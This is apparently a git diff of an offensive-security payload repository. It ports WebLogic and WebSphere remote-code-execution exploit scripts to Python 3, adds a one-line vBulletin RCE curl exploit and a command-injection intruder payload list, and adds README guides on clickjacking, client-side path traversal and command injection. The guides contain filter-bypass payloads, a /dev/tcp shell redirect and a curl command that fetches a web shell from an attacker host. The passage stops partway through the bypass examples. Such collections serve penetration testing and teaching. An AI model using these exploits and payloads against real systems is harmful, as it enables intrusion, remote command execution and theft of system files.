print("***************************************************** \n" \
|
||||
"**************** Coded By 1337g ****************** \n" \
|
||||
"* CVE-2017-10271 Blind Remote Command Execute EXP * \n" \
|
||||
"***************************************************** \n"
|
||||
"***************************************************** \n")
|
||||
|
||||
while 1:
|
||||
command_in = raw_input("Eneter your command here: ")
|
||||
command_in = input("Eneter your command here: ")
|
||||
if command_in == "exit" : exit(0)
|
||||
do_post(command_in)
|
||||
|
|
|
|||
2
CVE Exploits/WebLogic CVE-2018-2894.py
Executable file → Normal file
2
CVE Exploits/WebLogic CVE-2018-2894.py
Executable file → Normal file
|
|
@ -2,6 +2,8 @@
|
|||
# coding:utf-8
|
||||
# Build By LandGrey
|
||||
|
||||
from __future__ import print_function
|
||||
from builtins import str
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
|
|
|
|||
|
|
@ -4,6 +4,8 @@
|
|||
#Based on the nessus plugin websphere_java_serialize.nasl
|
||||
#Made with <3 by @byt3bl33d3r
|
||||
|
||||
from __future__ import print_function
|
||||
from builtins import chr
|
||||
import requests
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
|
@ -34,7 +36,7 @@ if not args.command:
|
|||
|
||||
elif args.command:
|
||||
if len(args.command) > 254:
|
||||
print '[-] Command must be less then 255 bytes'
|
||||
print('[-] Command must be less then 255 bytes')
|
||||
sys.exit(1)
|
||||
|
||||
ip, port = args.target.split(':')
|
||||
|
|
@ -75,4 +77,4 @@ headers = {'Content-Type': 'text/xml; charset=utf-8',
|
|||
'SOAPAction': 'urn:AdminService'}
|
||||
|
||||
r = requests.post('{}://{}:{}'.format(args.proto, ip, port), data=xmlObj, headers=headers, verify=False)
|
||||
print '[*] HTTPS request sent successfully'
|
||||
print('[*] HTTPS request sent successfully')
|
||||
|
|
|
|||
1
CVE Exploits/vBulletin RCE 5.0.0 - 5.5.4.sh
Normal file
1
CVE Exploits/vBulletin RCE 5.0.0 - 5.5.4.sh
Normal file
|
|
@ -0,0 +1 @@
|
|||
curl https://example.com/index.php\?routestring\=ajax/render/widget_php --connect-timeout 5 --max-time 15 -s -k --data "widgetConfig[code]=echo system('id');exit;"
|
||||
256
Clickjacking/README.md
Normal file
256
Clickjacking/README.md
Normal file
|
|
@ -0,0 +1,256 @@
|
|||
# Clickjacking
|
||||
|
||||
> Clickjacking is a type of web security vulnerability where a malicious website tricks a user into clicking on something different from what the user perceives, potentially causing the user to perform unintended actions without their knowledge or consent. Users are tricked into performing all sorts of unintended actions as such as typing in the password, clicking on ‘Delete my account' button, liking a post, deleting a post, commenting on a blog. In other words all the actions that a normal user can do on a legitimate website can be done using clickjacking.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Methodology](#methodology)
|
||||
* [UI Redressing](#ui-redressing)
|
||||
* [Invisible Frames](#invisible-frames)
|
||||
* [Button/Form Hijacking](#buttonform-hijacking)
|
||||
* [Execution Methods](#execution-methods)
|
||||
* [Preventive Measures](#preventive-measures)
|
||||
* [Implement X-Frame-Options Header](#implement-x-frame-options-header)
|
||||
* [Content Security Policy (CSP)](#content-security-policy-csp)
|
||||
* [Disabling JavaScript](#disabling-javascript)
|
||||
* [OnBeforeUnload Event](#onbeforeunload-event)
|
||||
* [XSS Filter](#xss-filter)
|
||||
* [IE8 XSS filter](#ie8-xss-filter)
|
||||
* [Chrome 4.0 XSSAuditor filter](#chrome-40-xssauditor-filter)
|
||||
* [Challenge](#challenge)
|
||||
* [Labs](#labs)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [portswigger/burp](https://portswigger.net/burp)
|
||||
* [zaproxy/zaproxy](https://github.com/zaproxy/zaproxy)
|
||||
* [machine1337/clickjack](https://github.com/machine1337/clickjack)
|
||||
|
||||
## Methodology
|
||||
|
||||
### UI Redressing
|
||||
|
||||
UI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application.
|
||||
The transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements,
|
||||
the attacker can trick the user into interacting with the hidden content, believing they are interacting with the visible interface.
|
||||
|
||||
* **How UI Redressing Works:**
|
||||
* Overlaying Transparent Element: The attacker creates a transparent HTML element (usually a `<div>`) that covers the entire visible area of a legitimate website. This element is made transparent using CSS properties like `opacity: 0;`.
|
||||
* Positioning and Layering: By setting the CSS properties such as `position: absolute; top: 0; left: 0;`, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it.
|
||||
* Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element.
|
||||
* User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations.
|
||||
|
||||
```html
|
||||
<div style="opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;">
|
||||
<a href="malicious-link">Click me</a>
|
||||
</div>
|
||||
```
|
||||
|
||||
### Invisible Frames
|
||||
|
||||
Invisible Frames is a Clickjacking technique where attackers use hidden iframes to trick users into interacting with content from another website unknowingly.
|
||||
These iframes are made invisible by setting their dimensions to zero (height: 0; width: 0;) and removing their borders (border: none;).
|
||||
The content inside these invisible frames can be malicious, such as phishing forms, malware downloads, or any other harmful actions.
|
||||
|
||||
* **How Invisible Frames Work:**
|
||||
* Hidden IFrame Creation: The attacker includes an `<iframe>` element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user.
|
||||
|
||||
```html
|
||||
<iframe src="malicious-site" style="opacity: 0; height: 0; width: 0; border: none;"></iframe>
|
||||
```
|
||||
|
||||
* Loading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible.
|
||||
* User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.
|
||||
* Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.
|
||||
|
||||
### Button/Form Hijacking
|
||||
|
||||
Button/Form Hijacking is a Clickjacking technique where attackers trick users into interacting with invisible or hidden buttons/forms, leading to unintended actions on a legitimate website. By overlaying deceptive elements on top of visible buttons or forms, attackers can manipulate user interactions to perform malicious actions without the user's knowledge.
|
||||
|
||||
* **How Button/Form Hijacking Works:**
|
||||
* Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it.
|
||||
|
||||
```html
|
||||
<button onclick="submitForm()">Click me</button>
|
||||
```
|
||||
|
||||
* Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form.
|
||||
|
||||
```html
|
||||
<form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
|
||||
<!-- Hidden form fields -->
|
||||
</form>
|
||||
```
|
||||
|
||||
* Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage.
|
||||
|
||||
```html
|
||||
<button onclick="submitForm()">Click me</button>
|
||||
<form action="legitimate-site" method="POST" id="hidden-form">
|
||||
<!-- Hidden form fields -->
|
||||
</form>
|
||||
<script>
|
||||
function submitForm() {
|
||||
document.getElementById('hidden-form').submit();
|
||||
}
|
||||
</script>
|
||||
```
|
||||
|
||||
### Execution Methods
|
||||
|
||||
* Creating Hidden Form: The attacker creates a hidden form containing malicious input fields, targeting a vulnerable action on the victim's website. This form remains invisible to the user.
|
||||
|
||||
```html
|
||||
<form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
|
||||
<input type="hidden" name="username" value="attacker">
|
||||
<input type="hidden" name="action" value="transfer-funds">
|
||||
</form>
|
||||
```
|
||||
|
||||
* Overlaying Visible Element: The attacker overlays a visible element (button or form) on their malicious page, encouraging users to interact with it. When the user clicks the visible element, they unknowingly trigger the hidden form's submission.
|
||||
|
||||
```js
|
||||
function submitForm() {
|
||||
document.getElementById('hidden-form').submit();
|
||||
}
|
||||
```
|
||||
|
||||
## Preventive Measures
|
||||
|
||||
### Implement X-Frame-Options Header
|
||||
|
||||
Implement the X-Frame-Options header with the DENY or SAMEORIGIN directive to prevent your website from being embedded within an iframe without your consent.
|
||||
|
||||
```apache
|
||||
Header always append X-Frame-Options SAMEORIGIN
|
||||
```
|
||||
|
||||
### Content Security Policy (CSP)
|
||||
|
||||
Use CSP to control the sources from which content can be loaded on your website, including scripts, styles, and frames.
|
||||
Define a strong CSP policy to prevent unauthorized framing and loading of external resources.
|
||||
Example in HTML meta tag:
|
||||
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self';">
|
||||
```
|
||||
|
||||
### Disabling JavaScript
|
||||
|
||||
* Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.
|
||||
* There are three deactivation techniques that can be used with frames:
|
||||
* Restricted frames with Internet Explorer: Starting from IE6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.
|
||||
|
||||
```html
|
||||
<iframe src="http://target site" security="restricted"></iframe>
|
||||
```
|
||||
|
||||
* Sandbox attribute: with HTML5 there is a new attribute called “sandbox”. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.
|
||||
|
||||
```html
|
||||
<iframe src="http://target site" sandbox></iframe>
|
||||
```
|
||||
|
||||
## OnBeforeUnload Event
|
||||
|
||||
* The `onBeforeUnload` event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target's frame busting attempt.
|
||||
|
||||
* The attacker can use this attack by registering an unload event on the top page using the following example code:
|
||||
|
||||
```html
|
||||
<h1>www.fictitious.site</h1>
|
||||
<script>
|
||||
window.onbeforeunload = function()
|
||||
{
|
||||
return " Do you want to leave fictitious.site?";
|
||||
}
|
||||
</script>
|
||||
<iframe src="http://target site">
|
||||
```
|
||||
|
||||
* The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a _"HTTP/1.1 204 No Content"_ header.
|
||||
|
||||
204 page:
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("HTTP/1.1 204 No Content");
|
||||
?>
|
||||
```
|
||||
|
||||
Attacker's Page:
|
||||
|
||||
```js
|
||||
<script>
|
||||
var prevent_bust = 0;
|
||||
window.onbeforeunload = function() {
|
||||
prevent_bust++;
|
||||
};
|
||||
setInterval(
|
||||
function() {
|
||||
if (prevent_bust > 0) {
|
||||
prevent_bust -= 2;
|
||||
window.top.location = "http://attacker.site/204.php";
|
||||
}
|
||||
}, 1);
|
||||
</script>
|
||||
<iframe src="http://target site">
|
||||
```
|
||||
|
||||
## XSS Filter
|
||||
|
||||
### IE8 XSS filter
|
||||
|
||||
This filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request's parameters.
|
||||
|
||||
```html
|
||||
<script>
|
||||
if ( top != self )
|
||||
{
|
||||
top.location=self.location;
|
||||
}
|
||||
</script>
|
||||
```
|
||||
|
||||
Attacker View:
|
||||
|
||||
```html
|
||||
<iframe src=”http://target site/?param=<script>if”>
|
||||
```
|
||||
|
||||
### Chrome 4.0 XSSAuditor filter
|
||||
|
||||
It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a “script” by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.
|
||||
|
||||
Attacker View:
|
||||
|
||||
```html
|
||||
<iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”>
|
||||
```
|
||||
|
||||
## Challenge
|
||||
|
||||
Inspect the following code:
|
||||
|
||||
```html
|
||||
<div style="position: absolute; opacity: 0;">
|
||||
<iframe src="https://legitimate-site.com/login" width="500" height="500"></iframe>
|
||||
</div>
|
||||
<button onclick="document.getElementsByTagName('iframe')[0].contentWindow.location='malicious-site.com';">Click me</button>
|
||||
```
|
||||
|
||||
Determine the Clickjacking vulnerability within this code snippet. Identify how the hidden iframe is being used to exploit the user's actions when they click the button, leading them to a malicious website.
|
||||
|
||||
## Labs
|
||||
|
||||
* [OWASP WebGoat](https://owasp.org/www-project-webgoat/)
|
||||
* [OWASP Client Side Clickjacking Test](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking)
|
||||
|
||||
## References
|
||||
|
||||
* [Clickjacker.io - Saurabh Banawar - May 10, 2020](https://clickjacker.io)
|
||||
* [Clickjacking - Gustav Rydstedt - April 28, 2020](https://owasp.org/www-community/attacks/Clickjacking)
|
||||
* [Synopsys Clickjacking - BlackDuck - November 29, 2019](https://www.synopsys.com/glossary/what-is-clickjacking.html#B)
|
||||
* [Web-Security Clickjacking - PortSwigger - October 12, 2019](https://portswigger.net/web-security/clickjacking)
|
||||
72
Client Side Path Traversal/README.md
Normal file
72
Client Side Path Traversal/README.md
Normal file
|
|
@ -0,0 +1,72 @@
|
|||
# Client Side Path Traversal
|
||||
|
||||
> Client-Side Path Traversal (CSPT), sometimes also referred to as "On-site Request Forgery," is a vulnerability that can be exploited as a tool for CSRF or XSS attacks.
|
||||
> It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple "../" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches.
|
||||
> Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Methodology](#methodology)
|
||||
* [CSPT to XSS](#cspt-to-xss)
|
||||
* [CSPT to CSRF](#cspt-to-xss)
|
||||
* [Labs](#labs)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [doyensec/CSPTBurpExtension](https://github.com/doyensec/CSPTBurpExtension) - CSPT is an open-source Burp Suite extension to find and exploit Client-Side Path Traversal.
|
||||
|
||||
## Methodology
|
||||
|
||||
### CSPT to XSS
|
||||
|
||||

|
||||
|
||||
A post-serving page calls the fetch function, sending a request to a URL with attacker-controlled input which is not properly encoded in its path, allowing the attacker to inject `../` sequences to the path and make the request get sent to an arbitrary endpoint. This behavior is referred to as a CSPT vulnerability.
|
||||
|
||||
**Example**:
|
||||
|
||||
* The page `https://example.com/static/cms/news.html` takes a `newsitemid` as parameter
|
||||
* Then fetch the content of `https://example.com/newitems/<newsitemid>`
|
||||
* A text injection was also discovered in `https://example.com/pricing/default.js` via the `cb` parameter
|
||||
* Final payload is `https://example.com/static/cms/news.html?newsitemid=../pricing/default.js?cb=alert(document.domain)//`
|
||||
|
||||
### CSPT to CSRF
|
||||
|
||||
A CSPT is redirecting legitimate HTTP requests, allowing the front end to add necessary tokens for API calls, such as authentication or CSRF tokens. This capability can potentially be exploited to circumvent existing CSRF protection measures.
|
||||
|
||||
| | CSRF | CSPT2CSRF |
|
||||
| ------------------------------------------- | ----------------- | ------------------ |
|
||||
| POST CSRF ? | :white_check_mark: | :white_check_mark: |
|
||||
| Can control the body ? | :white_check_mark: | :x: |
|
||||
| Can work with anti-CSRF token ? | :x: | :white_check_mark: |
|
||||
| Can work with Samesite=Lax ? | :x: | :white_check_mark: |
|
||||
| GET / PATCH / PUT / DELETE CSRF ? | :x: | :white_check_mark: |
|
||||
| 1-click CSRF ? | :x: | :white_check_mark: |
|
||||
| Does impact depend on source and on sinks ? | :x: | :white_check_mark: |
|
||||
|
||||
Real-World Scenarios:
|
||||
|
||||
* 1-click CSPT2CSRF in Rocket.Chat
|
||||
* CVE-2023-45316: CSPT2CSRF with a POST sink in Mattermost : `/<team>/channels/channelname?telem_action=under_control&forceRHSOpen&telem_run_id=../../../../../../api/v4/caches/invalidate`
|
||||
* CVE-2023-6458: CSPT2CSRF with a GET sink in Mattermost
|
||||
* [Client Side Path Manipulation - erasec.be](https://www.erasec.be/blog/client-side-path-manipulation/): CSPT2CSRF `https://example.com/signup/invite?email=foo%40bar.com&inviteCode=123456789/../../../cards/123e4567-e89b-42d3-a456-556642440000/cancel?a=`
|
||||
* [CVE-2023-5123 : CSPT2CSRF in Grafana’s JSON API Plugin](https://medium.com/@maxime.escourbiac/grafana-cve-2023-5123-write-up-74e1be7ef652)
|
||||
|
||||
## Labs
|
||||
|
||||
* [doyensec/CSPTPlayground](https://github.com/doyensec/CSPTPlayground) - CSPTPlayground is an open-source playground to find and exploit Client-Side Path Traversal (CSPT).
|
||||
* [Root Me - CSPT - The Ruler](https://www.root-me.org/en/Challenges/Web-Client/CSPT-The-Ruler)
|
||||
|
||||
## References
|
||||
|
||||
* [Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF - Maxence Schmitt - 02 Jul 2024](https://blog.doyensec.com/2024/07/02/cspt2csrf.html)
|
||||
* [Exploiting Client-Side Path Traversal - CSRF is dead, long live CSRF - Whitepaper - Maxence Schmitt - 02 Jul 2024](https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_Whitepaper.pdf)
|
||||
* [Exploiting Client-Side Path Traversal - CSRF is Dead, Long Live CSRF - OWASP Global AppSec 2024 - Maxence Schmitt - June 24 2024](https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_OWASP_Appsec_Lisbon.pdf)
|
||||
* [Leaking Jupyter instance auth token chaining CVE-2023-39968, CVE-2024-22421 and a chromium bug - Davwwwx - 30-08-2023](https://blog.xss.am/2023/08/cve-2023-39968-jupyter-token-leak/)
|
||||
* [On-site request forgery - Dafydd Stuttard - 03 May 2007](https://portswigger.net/blog/on-site-request-forgery)
|
||||
* [Bypassing WAFs to Exploit CSPT Using Encoding Levels - Matan Berson - 2024-05-10](https://matanber.com/blog/cspt-levels)
|
||||
* [Automating Client-Side Path Traversals Discovery - Vitor Falcao - October 3, 2024](https://vitorfalcao.com/posts/automating-cspt-discovery/)
|
||||
* [CSPT the Eval Villain Way! - Dennis Goodlett - December 3, 2024](https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html)
|
||||
* [Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal - Maxence Schmitt - January 9, 2025](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
|
|
@ -3,19 +3,28 @@
|
|||
<!--#exec%20cmd="/usr/bin/id;-->
|
||||
<!--#exec%20cmd="/usr/bin/id;-->
|
||||
/index.html|id|
|
||||
";id;"
|
||||
';id;'
|
||||
;id;
|
||||
;id
|
||||
;netstat -a;
|
||||
;id;
|
||||
"|id|"
|
||||
'|id|'
|
||||
|id
|
||||
|/usr/bin/id
|
||||
|id|
|
||||
"|/usr/bin/id|"
|
||||
'|/usr/bin/id|'
|
||||
|/usr/bin/id|
|
||||
"||/usr/bin/id|"
|
||||
'||/usr/bin/id|'
|
||||
||/usr/bin/id|
|
||||
|id;
|
||||
||/usr/bin/id;
|
||||
;id|
|
||||
;|/usr/bin/id|
|
||||
"\n/bin/ls -al\n"
|
||||
'\n/bin/ls -al\n'
|
||||
\n/bin/ls -al\n
|
||||
\n/usr/bin/id\n
|
||||
\nid\n
|
||||
|
|
@ -56,8 +65,12 @@ a|/usr/bin/id
|
|||
%0Acat%20/etc/passwd
|
||||
%0A/usr/bin/id
|
||||
%0Aid
|
||||
%22%0A/usr/bin/id%0A%22
|
||||
%27%0A/usr/bin/id%0A%27
|
||||
%0A/usr/bin/id%0A
|
||||
%0Aid%0A
|
||||
"& ping -i 30 127.0.0.1 &"
|
||||
'& ping -i 30 127.0.0.1 &'
|
||||
& ping -i 30 127.0.0.1 &
|
||||
& ping -n 30 127.0.0.1 &
|
||||
%0a ping -i 30 127.0.0.1 %0a
|
||||
0
Remote commands execution/Intruders/command_exec.txt → Command Injection/Intruder/command_exec.txt
Executable file → Normal file
0
Remote commands execution/Intruders/command_exec.txt → Command Injection/Intruder/command_exec.txt
Executable file → Normal file
476
Command Injection/README.md
Normal file
476
Command Injection/README.md
Normal file
|
|
@ -0,0 +1,476 @@
|
|||
# Command Injection
|
||||
|
||||
> Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Methodology](#methodology)
|
||||
* [Basic Commands](#basic-commands)
|
||||
* [Chaining Commands](#chaining-commands)
|
||||
* [Argument Injection](#argument-injection)
|
||||
* [Inside A Command](#inside-a-command)
|
||||
* [Filter Bypasses](#filter-bypasses)
|
||||
* [Bypass Without Space](#bypass-without-space)
|
||||
* [Bypass With A Line Return](#bypass-with-a-line-return)
|
||||
* [Bypass With Backslash Newline](#bypass-with-backslash-newline)
|
||||
* [Bypass With Tilde Expansion](#bypass-with-tilde-expansion)
|
||||
* [Bypass With Brace Expansion](#bypass-with-brace-expansion)
|
||||
* [Bypass Characters Filter](#bypass-characters-filter)
|
||||
* [Bypass Characters Filter Via Hex Encoding](#bypass-characters-filter-via-hex-encoding)
|
||||
* [Bypass With Single Quote](#bypass-with-single-quote)
|
||||
* [Bypass With Double Quote](#bypass-with-double-quote)
|
||||
* [Bypass With Backticks](#bypass-with-backticks)
|
||||
* [Bypass With Backslash And Slash](#bypass-with-backslash-and-slash)
|
||||
* [Bypass With $@](#bypass-with-)
|
||||
* [Bypass With $()](#bypass-with--1)
|
||||
* [Bypass With Variable Expansion](#bypass-with-variable-expansion)
|
||||
* [Bypass With Wildcards](#bypass-with-wildcards)
|
||||
* [Bypass With Random Case](#bypass-with-random-case)
|
||||
* [Data Exfiltration](#data-exfiltration)
|
||||
* [Time Based Data Exfiltration](#time-based-data-exfiltration)
|
||||
* [Dns Based Data Exfiltration](#dns-based-data-exfiltration)
|
||||
* [Polyglot Command Injection](#polyglot-command-injection)
|
||||
* [Tricks](#tricks)
|
||||
* [Backgrounding Long Running Commands](#backgrounding-long-running-commands)
|
||||
* [Remove Arguments After The Injection](#remove-arguments-after-the-injection)
|
||||
* [Labs](#labs)
|
||||
* [Challenge](#challenge)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [commixproject/commix](https://github.com/commixproject/commix) - Automated All-in-One OS command injection and exploitation tool
|
||||
* [projectdiscovery/interactsh](https://github.com/projectdiscovery/interactsh) - An OOB interaction gathering server and client library
|
||||
|
||||
## Methodology
|
||||
|
||||
Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system.
|
||||
|
||||
The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise.
|
||||
|
||||
**Example of Command Injection with PHP**:
|
||||
Suppose you have a PHP script that takes a user input to ping a specified IP address or domain:
|
||||
|
||||
```php
|
||||
<?php
|
||||
$ip = $_GET['ip'];
|
||||
system("ping -c 4 " . $ip);
|
||||
?>
|
||||
```
|
||||
|
||||
In the above code, the PHP script uses the `system()` function to execute the `ping` command with the IP address or domain provided by the user through the `ip` GET parameter.
|
||||
|
||||
If an attacker provides input like `8.8.8.8; cat /etc/passwd`, the actual command that gets executed would be: `ping -c 4 8.8.8.8; cat /etc/passwd`.
|
||||
|
||||
This means the system would first `ping 8.8.8.8` and then execute the `cat /etc/passwd` command, which would display the contents of the `/etc/passwd` file, potentially revealing sensitive information.
|
||||
|
||||
### Basic Commands
|
||||
|
||||
Execute the command and voila :p
|
||||
|
||||
```powershell
|
||||
cat /etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
||||
bin:x:2:2:bin:/bin:/bin/sh
|
||||
sys:x:3:3:sys:/dev:/bin/sh
|
||||
...
|
||||
```
|
||||
|
||||
### Chaining Commands
|
||||
|
||||
In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.
|
||||
|
||||
* `;` (Semicolon): Allows you to execute multiple commands sequentially.
|
||||
* `&&` (AND): Execute the second command only if the first command succeeds (returns a zero exit status).
|
||||
* `||` (OR): Execute the second command only if the first command fails (returns a non-zero exit status).
|
||||
* `&` (Background): Execute the command in the background, allowing the user to continue using the shell.
|
||||
* `|` (Pipe): Takes the output of the first command and uses it as the input for the second command.
|
||||
|
||||
```powershell
|
||||
command1; command2 # Execute command1 and then command2
|
||||
command1 && command2 # Execute command2 only if command1 succeeds
|
||||
command1 || command2 # Execute command2 only if command1 fails
|
||||
command1 & command2 # Execute command1 in the background
|
||||
command1 | command2 # Pipe the output of command1 into command2
|
||||
```
|
||||
|
||||
### Argument Injection
|
||||
|
||||
Gain a command execution when you can only append arguments to an existing command.
|
||||
Use this website [Argument Injection Vectors - Sonar](https://sonarsource.github.io/argument-injection-vectors/) to find the argument to inject to gain command execution.
|
||||
|
||||
* Chrome
|
||||
|
||||
```ps1
|
||||
chrome '--gpu-launcher="id>/tmp/foo"'
|
||||
```
|
||||
|
||||
* SSH
|
||||
|
||||
```ps1
|
||||
ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
|
||||
```
|
||||
|
||||
* psql
|
||||
|
||||
```ps1
|
||||
psql -o'|id>/tmp/foo'
|
||||
```
|
||||
|
||||
Argument injection can be abused using the [worstfit](https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/) technique.
|
||||
|
||||
In the following example, the payload `" --use-askpass=calc "` is using **fullwidth double quotes** (U+FF02) instead of the **regular double quotes** (U+0022)
|
||||
|
||||
```php
|
||||
$url = "https://example.tld/" . $_GET['path'] . ".txt";
|
||||
system("wget.exe -q " . escapeshellarg($url));
|
||||
```
|
||||
|
||||
Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.
|
||||
|
||||
* curl
|
||||
|
||||
```ps1
|
||||
# -o, --output <file> Write to file instead of stdout
|
||||
curl http://evil.attacker.com/ -o webshell.php
|
||||
```
|
||||
|
||||
### Inside A Command
|
||||
|
||||
* Command injection using backticks.
|
||||
|
||||
```bash
|
||||
original_cmd_by_server `cat /etc/passwd`
|
||||
```
|
||||
|
||||
* Command injection using substitution
|
||||
|
||||
```bash
|
||||
original_cmd_by_server $(cat /etc/passwd)
|
||||
```
|
||||
|
||||
## Filter Bypasses
|
||||
|
||||
### Bypass Without Space
|
||||
|
||||
* `$IFS` is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret `$IFS` as a space. `$IFS` does not directly work as a separator in commands like `ls`, `wget`; use `${IFS}` instead.
|
||||
|
||||
```powershell
|
||||
cat${IFS}/etc/passwd
|
||||
ls${IFS}-la
|
||||
```
|
||||
|
||||
* In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.
|
||||
|
||||
```powershell
|
||||
{cat,/etc/passwd}
|
||||
```
|
||||
|
||||
* Input redirection. The < character tells the shell to read the contents of the file specified.
|
||||
|
||||
```powershell
|
||||
cat</etc/passwd
|
||||
sh</dev/tcp/127.0.0.1/4242
|
||||
```
|
||||
|
||||
* ANSI-C Quoting
|
||||
|
||||
```powershell
|
||||
X=$'uname\x20-a'&&$X
|
||||
```
|
||||
|
||||
* The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value `09`.
|
||||
|
||||
```powershell
|
||||
;ls%09-al%09/home
|
||||
```
|
||||
|
||||
* In Windows, `%VARIABLE:~start,length%` is a syntax used for substring operations on environment variables.
|
||||
|
||||
```powershell
|
||||
ping%CommonProgramFiles:~10,-18%127.0.0.1
|
||||
ping%PROGRAMFILES:~10,-5%127.0.0.1
|
||||
```
|
||||
|
||||
### Bypass With A Line Return
|
||||
|
||||
Commands can also be run in sequence with newlines
|
||||
|
||||
```bash
|
||||
original_cmd_by_server
|
||||
ls
|
||||
```
|
||||
|
||||
### Bypass With Backslash Newline
|
||||
|
||||
* Commands can be broken into parts by using backslash followed by a newline
|
||||
|
||||
```powershell
|
||||
$ cat /et\
|
||||
c/pa\
|
||||
sswd
|
||||
```
|
||||
|
||||
* URL encoded form would look like this:
|
||||
|
||||
```powershell
|
||||
cat%20/et%5C%0Ac/pa%5C%0Asswd
|
||||
```
|
||||
|
||||
### Bypass With Tilde Expansion
|
||||
|
||||
```powershell
|
||||
echo ~+
|
||||
echo ~-
|
||||
```
|
||||
|
||||
### Bypass With Brace Expansion
|
||||
|
||||
```powershell
|
||||
{,ip,a}
|
||||
{,ifconfig}
|
||||
{,ifconfig,eth0}
|
||||
{l,-lh}s
|
||||
{,echo,#test}
|
||||
{,$"whoami",}
|
||||
{,/?s?/?i?/c?t,/e??/p??s??,}
|
||||
```
|
||||
|
||||
### Bypass Characters Filter
|
||||
|
||||
Commands execution without backslash and slash - linux bash
|
||||
|
||||
```powershell
|
||||
swissky@crashlab:~$ echo ${HOME:0:1}
|
||||
/
|
||||
|
||||
swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
